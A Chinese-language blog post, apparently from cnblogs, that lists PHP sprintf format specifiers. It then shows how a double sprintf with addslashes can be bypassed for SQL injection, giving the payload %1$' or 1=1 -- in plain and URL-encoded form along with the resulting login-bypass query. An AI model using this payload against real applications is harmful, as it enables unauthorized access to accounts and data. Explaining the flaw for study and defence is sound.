首页 > 编程语言 >PHP sprintf函数 bug

PHP sprintf函数 bug

时间:2022-11-11 17:33:41浏览次数:66  
标签:format -- 使用 sprintf pass 格式 PHP bug

sprintf()

定义和用法

format参数

可能的格式值:

%% - 返回一个百分号 %
%b - 二进制数
%c - ASCII 值对应的字符
%d - 包含正负号的十进制数(负数、0、正数)
%e - 使用小写的科学计数法(例如 1.2e+2)
%E - 使用大写的科学计数法(例如 1.2E+2)
%u - 不包含正负号的十进制数(大于等于 0)
%f - 浮点数(本地设置)
%F - 浮点数(非本地设置)
%g - 较短的 %e 和 %f
%G - 较短的 %E 和 %f
%o - 八进制数
%s - 字符串
%x - 十六进制数(小写字母)
%X - 十六进制数(大写字母)
附加的格式值。必需放置在 % 和字母之间(例如 %.2f):

+ (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记)
' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充))
- (左调整变量值)
[0-9] (规定变量值的最小宽度)
.[0-9] (规定小数位数或最大字符串长度)
注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。

bug(特定情况)

$pass=sprintf("and pass='%s'",addslashes("%1$' or 1=1 -- "));
$sql=sprintf("select * from user where name='%s' $pass",addslashes("root"));
// 输出:select * from user where name='root' and pass='' or 1=1 -- '

%1$' or 1=1 -- 用addslashes加上反斜杠之后%1$\' or 1=1 --
%1$\就是不正常的形式在第二行代码中被替换成空留下' or 1=1 --
%1$' or 1=1 -- 最好用URL编码一下


%251%24%27+or+1%3D1+--+


原因

  当format参数字符串中无法形成正常的%占位符时,返回值中不是正常形式%占位符将会替换成空
  形成不正常的占位符有很多种情况不按照format参数的可能格式和附加格式使用基本都是不正常的形式
  注入过程中根据情况进行构造

标签:format,--,使用,sprintf,pass,格式,PHP,bug
From: https://www.cnblogs.com/liert/p/16881156.html

相关文章

  • Using debugStub to debug a guest linux kernel
    UsingdebugStubtodebugaguestlinuxkernelIamrunningVMwareFusionVersion6.0.2(1398658)IhaveconfiguredthefollowinginmyvmxdebugStub.listen.gue......
  • Debugging the Ubuntu kernel with GDB and QEMU
    参考:https://mhcerri.github.io/posts/debugging-the-ubuntu-kernel-with-gdb-and-qemu/ThistutorialfocusesonthepracticalaspectsofpreparinganUbuntulibvi......
  • mysql-canal-kafka-kettle 数据实时同步链部署bug 填坑过程
     1,因为mysql版本从5.7提高到8.0 ,需要更改用户配置。createuser'canal'@'%'identifiedby'canal';grantselect,replicationslave,replicationclienton......
  • php实现单链表
    今天记录下使用php实现单向链表的功能操作先创建一个节点类用来生成节点对象<?phpclassnode{public$name=null;public$no=null;public$next=......
  • PHP垃圾回收机制
    PHP5.3的新的垃圾回收机制(也就是GC)的特点。 引用计数基本知识每个php变量存在一个叫"zval"的变量容器中。一个zval变量容器,除了包含变量的类型和值,还包括两个字节的额外信......
  • PHP中获取不到自定义header参数解决方案
    一、概述今天在通过PHP中获取自定义header参数时候,一直获取不到。比如,获取header中USER_NAME参数,如下:123$curUser = isset($_SERVER['USER_NAME']) ? $_SERVER['USE......
  • PHP构造验证码
    代码如下:<?phpheader('Content-type:image/jpeg');$width=120;$height=40;$element=array('a','b','c','d','e','f','g','h','i','j','k','m......
  • thinkPHP查询数据库常用函数
      1.find()  查询一条数据2.field()  查询的字段如field('id,name,age')3.select()  查询多条数据4.setField()  修改一个字段或多个字段值  如se......
  • PHP代码
    //要访问的目标页面$targetUrl="http://ip.hahado.cn/ip";//$targetUrl="http://ip.hahado.cn/switch-ip";//$targetUrl="http://ip.hahado.cn/curr......
  • 中兴AX5400Pro+ BUG
    中兴AX5400Pro+路由器管理页面已知两个功能出现BUG:1、【应用】栏目下的【父母控制】-【URL黑名单】&【URL白名单】设置不起作用。2、【系统】栏目下的【备份配置】-【备份......